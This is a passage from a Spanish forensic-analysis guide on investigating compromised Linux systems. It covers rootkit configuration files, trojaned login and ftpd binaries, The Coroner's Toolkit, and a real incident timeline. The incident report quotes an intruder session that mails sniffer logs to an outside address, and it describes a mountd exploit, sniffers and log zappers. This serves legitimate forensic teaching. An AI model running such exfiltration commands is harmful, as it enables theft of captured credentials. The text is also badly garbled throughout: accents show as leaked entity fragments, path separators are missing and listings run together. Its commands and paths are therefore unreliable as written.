bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 20: Análisis Forense de Sistemas GNU/Linux, Unix

libld-linuxso2__gmon_start__libpamso0_DYNAMIC_GLOBAL_OFFSET_TABLE_pam_set_itemfree__ctype_tolowermallocstrcmppam_endpam_start

FileCompressedBlockStream[nowhere yet]ftpdaAvdlLiopPqQrsStTuwWXbad value for -uoption -c requires an argumentunknown option -c ignored

VirtualFTP Connect to s [s]bannerlogfileemailvarlogxferlogconnection refused (server shut down) from ss FTP server shut down -- please try again laterlslongbinls -lalsshortlsplainbinlsgreetingfulltersebriefs FTP server (s) readys FTP server readyFTP server ready

FTP LOGIN REFUSED (already logged in as s) FROM s s

20

Already logged inetcftphostsFTP LOGIN REFUSED (name in s) FROM s sanonymousFTP LOGIN REFUSED (anonymous ftp denied on default server) FROM s sFTP LOGIN REFUSED (ftp in denied-uid) FROM s setcftpusers

Por lo que vemos strings nos comenta que el binario es un servidor FTP normalmente llamado ftpd oacute inftpd Puedeser que el fichero forma parte de un root-kit o de un caballo de Troya Los ficheros de configuracioacuten de este tipode kits suelen normalmente encontrarse en el directorio dev entonces una buacutesqueda raacutepida en ese directorio podraacutedesvelar nos mucha informacioacuten uacutetil

cd mntdev ls -lat | head -30total 116drwxr-xr-x 8 root root 34816 Apr 30 0402 srw-rw-rw- 1 root root 0 Apr 30 0402 logcrw------- 1 root root 4 1 Apr 29 1417 tty1crw------- 1 root root 4 2 Apr 29 1417 tty2crw------- 1 root root 4 3 Apr 29 1417 tty3crw------- 1 root root 4 4 Apr 29 1417 tty4crw------- 1 root root 4 5 Apr 29 1417 tty5crw------- 1 root root 4 6 Apr 29 1417 tty6srwxrwxrwx 1 root root 0 Apr 29 1417 gpmctlsrw------- 1 root root 0 Apr 29 1417 printercrw-r--r-- 1 root root 1 9 Apr 29 1417 urandomprw------- 1 root root 0 Apr 29 1414 initctldrwxr-xr-x 25 y root 1024 Apr 28 2347 crw-rw-rw- 1 root tty 3 2 Apr 28 1144 ttyp2crw-rw-rw- 1 root tty 3 0 Apr 28 1143 ttyp0crw-rw-rw- 1 root tty 3 1 Apr 28 1143 ttyp1-rw-r--r-- 1 root root 18 Apr 27 2258 ptypdrwxr-xr-x 4 r00t root 1024 Apr 27 2258 crw-rw-rw- 1 root tty 3 4 Apr 27 1202 ttyp4crw-rw-rw- 1 root tty 3 3 Apr 27 1156 ttyp3crw------- 1 root root 5 1 Apr 21 1109 consolelrwxrwxrwx 1 root root 5 Apr 21 0402 mouse -gt psauxdrwxr-xr-x 2 root root 1024 Apr 20 1521 rev0-rw-r--r-- 1 root root 33 Apr 20 1521 ptyrlrwxrwxrwx 1 root root 9 Feb 28 0223 isdnctrl -gt isdnctrl0lrwxrwxrwx 1 root root 5 Feb 28 0223 nftape -gt nrft0lrwxrwxrwx 1 root root 3 Feb 28 0223 fb -gt fb0

21

lrwxrwxrwx 1 root root 15 Feb 28 0223 fd -gt procselffdlrwxrwxrwx 1 root root 4 Feb 28 0223 ftape -gt rft0Broken pipe

De todos los ficheros que podemos ver en este directorio nos llaman atencioacuten los archivos ptyp y ptyr que noson dispositivos comunes ni directorios ni tampoco enlaces simboacutelicos son ficheros de tipo ASCII text Tambieacutenlocalizamos un directorio llamado rev0 y una carpeta oculta que pertenece al usuario r00t

less ptyr

spplslicessynk4rev0bc1snif

Son ficheros de configuracioacuten de un caballo de Troya El contenido muestra que ls ocultaraacute ficheros o directorios spplslice (un cliente DoS) ssynk4 (cliente DoS) rev0 bc1 y snif (adivina que puede ser )

Si estamos seguros que nuestro sistema no estaacute infectado con un root-kit podemos utilizar las herramientas find ygrep para identificar doacutende se encuentran estos ficheros (el disco estaacute montado como solo lectura nodev iquestverdad)

cd mnt

find -ls | grep -f etcptyr282058 1 drwxr-xr-x 2 root root 1024 Apr 20 1521 devrev0282059 1 -rw-r--r-- 1 root root 5 Apr 20 1521 devrev0sniffpid

282061 20 -rw-r--r-- 1 root root 19654 Apr 20 2023 devrev0tcplog164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 devrev0slice164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 devrev0smurf4164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 devrev0snif164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 devrev0sppl164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 devblitznetslice2

61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 usrbinsliceprint

255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 usrincludepython15sliceobjecth

22

Algunos de los ficheros que estaacuten en la lista posiblemente son ficheros legiacutetimos del sistema operativo pero hayalgunos que son bastante sospechosos los que se encuentran en dos carpetas del directorio dev

cd mntdev less ptyp

3 egg3 egg3 bnc

En este momento podemos hacer una apuesta seguro que el fichero ptyp es un fichero de configuracioacuten de la utilidadps del root-kit que oculta los procesos que contienen cadenas egg bnc en sus nombres Hay que encontrarbinarios ejecutables con estos nombres

cd mntdev ls -lR total 2699drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet-rw-r--r-- 1 root root 30720 Apr 26 0407 blitznettar-rwxrw-r-- 1 r00t user1 22360 Apr 27 2258 bnc-rw-r--r-- 1 900 users 2693120 Apr 20 2218 collisiontar-rw-rw-r-- 1 r00t user1 976 Apr 27 2258 exampleconf-rw-rw-r-- 1 user1 user1 5 Apr 28 2035 pidbnc

blitznettotal 22-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitzc-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzdc-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rushtcl-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2

ls -lR rev0rev0total 51

23

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

La maacutequina 2121022557 fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusosalrededor de 10-09-2001 utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-9812httpwwwcertorgadvisoriesCA-9812mountdhtml

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas CoronerrsquosToolkit (httpwwwfishcomsecurityforensicshtml) En el sistema de anaacutelisis el disco aparece como dispositivodevhdc La primera particioacuten devhdc1 fue montada en modo solo lectura bajo el punto de montura x Comoresultado de ello todas las rutas seraacuten precedidas por esa cadena La geometriacutea del disco duro es la siguiente

Disk devhdc 32 heads 63 sectors 825 cylindersUnits = cylinders of 2016 512 bytes

Device Boot Start End Blocks Id Systemdevhdc1 1 793 799312+ 83 Linuxdevhdc2 794 825 32256 82 Linux swap

Como la mayoriacutea de los accesos al servidor empezaron el diacutea 09 del Sep la fecha previa del anaacutelisis forense fue tomadacomo 28 Ago No se observan huellas obvias de modificacioacuteninstalacioacuten de ficheros que indica que el sistema fueaccedido entre Sep 01 y Sep 04 El diacutea Sep 04 ha sido modificado el demonio r de Berkeley (inrlogind)

Sep 04 01 234221 23421 m -rwxr-xr-x root root xusrsbininrlogind

El examen del contenido del fichero a traveacutes de la utilidad strings muestra que es un caballo de Troya que contienelos mismos strings que han sido encontrados en los ficheros del grupo XXXXXXX

31

rlogindahLlnXXXXXXXXCanrsquot get peer name of remote host mCanrsquot get peer name of remote hostsetsockopt (SO_KEEPALIVE) msetsockopt (IP_TOS) mhname = NULLrlogindc

Pasados ocho diacuteas se observa una modificacioacuten en el demonio y ejecucioacuten de chown

Sep 12 01 110410 23421 c -rwxr-xr-x root root xusrsbininrlogindSep 12 01 110411 8156 a -rwxr-xr-x root bin xbinchown

Pasada media hora el fichero fuente linsniffc se copia en un directorio oculto bajo etc El directorio se llamaetc (punto-punto-espacio-espacio-espacio lo que nosotros convertiremos en etc___ para ver maacutes claramenteel directorio en los listados El programa luego se compila Vemos que los ficheros de cabeceras que tienen que vercon las funciones de red han sido accedidos y el binario se mueve al usrsbintelnetd

Despueacutes de cuatro minutos se produce un acceso a traveacutes del protocolo FTP (observando el acceso al wuftpd y sufichero id de proceso)

Sep 12 01 113659 5127 mc -rw-r--r-- root root xetc___linsniffcSep 12 01 113708 4967 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxifh

3143 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_arph

3145 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxif_etherh

1910 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxiph

2234 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxrouteh

1381 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtcph

Sep 12 01 113710 2048 c drwxr-xr-x root bin xusrsbinSep 12 01 113714 2048 m drwxr-xr-x root bin xusrsbinSep 12 01 113715 8179 mc -rwxr-xr-x root root xusrsbintelnetdSep 12 01 113748 8179 a -rwxr-xr-x root root xusrsbintelnetdSep 12 01 114152 77476 a -rwxr-xr-x root bin xusrsbinwuftpd

32

Sep 12 01 114208 4096 mac -rw-r--r-- root root xvarpidftppids-remote

Esa actividad se confirma recuperando el fichero eliminado de log desde la particioacuten root

Sep 12 113305 2001 intelnetd[1290] connect from cromanionwashingtoneduSep 12 113316 2001 login 1 LOGIN FAILURE FROM cromanionwashingtonedu 502Sep 12 113321 2001 login 2 LOGIN FAILURES FROM cromanionwashingtonedu 502

Sep 12 113402 2001 su quaker on devttyp1Sep 12 114152 2001 wuftpd[1327] connect from lotherdalewashingtoneduSep 12 114157 2001 ftpd[1327] USER snoopSep 12 114159 2001 ftpd[1327] PASS passwordSep 12 114200 2001 ftpd[1327] SYSTSep 12 114201 2001 ftpd[1327] CWD tmpSep 12 114206 2001 ftpd[1327] TYPE ImageSep 12 114206 2001 ftpd[1327] PORTSep 12 114206 2001 ftpd[1327] STOR mountdSep 12 114208 2001 ftpd[1327] QUITSep 12 114208 2001 ftpd[1327] FTP session closedSep 12 120025 2001 intelnetd[1342] connect from cromanionwashingtoneduSep 12 120025 2001 telnetd[1342] ttloop peer died Try again

Desde lo que podemos observar se realiza una descarga de un exploit mountd mencionado anteriormente Tambieacutenpodemos conocer que el intruso tiene una cuenta en el sistema cromanionwashingtonedu [21512102] que normal-mente utiliza entre 143305 y 150025 EST

Los strings del fichero usrsbintelnetd muestran que es un sniffer El fichero log del sniffer es tcplog (pordefecto)

cant get SOCK_PACKET socketcant get flagscant set promiscuous mode----- [CAPLEN Exceeded]----- [Timed Out]----- [RST]----- [FIN]s =gt s [d]eth0tcplogcant open logExiting

33

El diacutea 13 de Sep otro programa que incorpora funciones de red se compila que hace uso de muchos maacutes recursosque el sniffer (ya que carga maacutes libreriacuteas) El hecho que el binario no aparece con fecha de modificacioacuten o cambiopuede indicar que el binario fue ejecutado y eliminado por el intruso (otros intrusos o el administrador) para ocultarsu presencia del equipo de administracioacuten del servidor

Sep 13 01 100146 55492 a -rwxr-xr-x root root xusrbingcc6211 a -rw-r--r-- root root xusrincludestdioh

92696 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cpp

1003 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270specs

Sep 13 01 100147 2767 a -rw-r--r-- root root xusrinclude_G_configh

1441 a -rw-r--r-- root root xusrincludeallocah2040 a -rw-r--r-- root root xusrincludeconfnameh

1267 a -rw-r--r-- root root xusrincludeerrnoh4186 a -rw-r--r-- root root xusrincludefeaturesh

4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

